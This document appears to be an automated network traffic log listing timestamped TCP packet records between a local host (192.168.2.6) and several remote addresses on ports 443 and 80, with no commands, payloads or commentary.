Oct 30, 2024 04:34:38.450221062 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.503171921 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.503171921 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.503196955 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.503206015 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.504858971 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.504905939 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.504935980 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.504952908 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.508618116 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.508631945 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.508661032 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.508671999 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.518547058 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.518560886 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.523159981 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.534607887 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.534655094 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.535018921 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.548644066 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.548660040 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.567114115 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.567137957 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.567178011 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.567188978 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.567199945 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.567222118 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.567226887 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.567231894 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.567246914 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.567275047 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.574731112 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.574817896 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.575017929 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.577871084 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.577898979 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.577960968 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.578479052 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.578511000 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.578582048 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.582030058 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.582060099 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.582130909 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.582179070 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.582214117 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.582274914 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.582289934 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.582369089 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.582380056 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.582581997 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.582612038 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.647797108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.653213978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.684266090 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.684292078 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.684350967 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.684366941 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.684386015 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.684421062 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.684442043 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.792458057 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.792483091 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.792534113 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.792536974 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.792557001 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.792584896 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.792591095 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.792658091 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.850951910 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.851001978 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.851032972 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.851056099 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.851072073 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.851089001 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.934205055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934236050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934257984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934273958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934284925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934290886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934284925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934308052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934324026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934341908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934367895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934367895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934367895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934367895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934410095 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934684992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934700966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934750080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.934952974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.934968948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.935007095 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.935050964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.939652920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.939709902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:38.939735889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.939779997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:38.962848902 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.962948084 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.962976933 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.963001966 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.963030100 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.963049889 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.079520941 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.079581976 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.079601049 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.079611063 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.079653978 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.079663038 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.090993881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091029882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091069937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091093063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.091124058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.091131926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091149092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091166019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091190100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.091209888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.091603994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091658115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.091682911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091803074 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.091914892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091938019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091953039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091969967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.091974974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.092019081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.092427015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.092502117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.092559099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.094149113 CET	51013	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.094188929 CET	443	51013	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.094448090 CET	51014	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.094456911 CET	51013	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.094492912 CET	443	51014	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.094710112 CET	51014	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.097733974 CET	51013	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.097755909 CET	443	51013	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.097872972 CET	51014	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:39.097888947 CET	443	51014	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:39.144051075 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.144135952 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.144140959 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.144165993 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.144186974 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.144202948 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.214586973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214606047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214620113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214637041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214667082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.214741945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.214742899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214783907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214792013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.214799881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214835882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.214869022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.214884996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214901924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214916945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.214931965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.214952946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.215677023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.215725899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.247829914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.247844934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.247926950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.248102903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.248116970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.248171091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.250169039 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.250255108 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.250266075 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.250310898 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.250344038 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.250375032 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.277766943 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.278537989 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.278565884 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.279088020 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.279097080 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.312545061 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.313880920 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.313910007 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.313946962 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.313956976 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.313985109 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.313994884 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.316160917 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.320913076 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.320966005 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.321446896 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.321459055 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.327786922 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.327817917 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.328335047 CET	51009	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.328346968 CET	443	51009	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.329890013 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.330442905 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.330461979 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.331089973 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.331096888 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.333940029 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.334510088 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.334541082 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.335017920 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.335024118 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.337485075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337502003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337517023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337546110 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.337580919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337590933 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.337598085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337647915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.337879896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337924957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337934971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.337940931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.337976933 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.337997913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.338001966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.338018894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.338053942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.338053942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.338619947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.338643074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.338658094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.338700056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.338700056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.338701010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.371056080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.371069908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.371124983 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.371319056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.371340990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.371393919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.386919022 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.386970997 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.387001038 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.387008905 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.387039900 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.387057066 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.407577038 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.407644987 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.407933950 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.411540031 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.411554098 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.411567926 CET	51008	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.411576033 CET	443	51008	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.418922901 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.418951988 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.419012070 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.419717073 CET	51016	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.419733047 CET	443	51016	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.446285963 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.446350098 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.446455956 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.446521997 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.447128057 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.447128057 CET	51011	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.447174072 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.447201967 CET	443	51011	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.460714102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.460741043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.460757017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.460804939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.460813046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.460870028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.460954905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461015940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461030960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461072922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.461092949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.461132050 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.461321115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461373091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461390018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461395025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.461405039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461442947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.461466074 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.461464882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.461500883 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.461579084 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.461873055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461922884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.461935043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.462075949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.463211060 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.463212013 CET	51010	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.463226080 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.463234901 CET	443	51010	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.463814974 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.463982105 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.464066982 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.464941978 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.464965105 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.464993954 CET	51012	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.465003014 CET	443	51012	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.467329025 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.467361927 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.467509031 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468015909 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468044043 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.468159914 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468178034 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.468235016 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468314886 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468328953 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.468359947 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468384981 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.468451977 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468673944 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:39.468688965 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:39.484436989 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.484494925 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.484530926 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.484540939 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.484580040 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.484589100 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:39.494246006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.494261026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.494318008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.494345903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.494359970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.494395971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.494431973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.494496107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.494508982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:39.494554043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:39.547974110 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.548012972 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:39.548062086 CET	51001	443	192.168.2.6	13.107.246.57
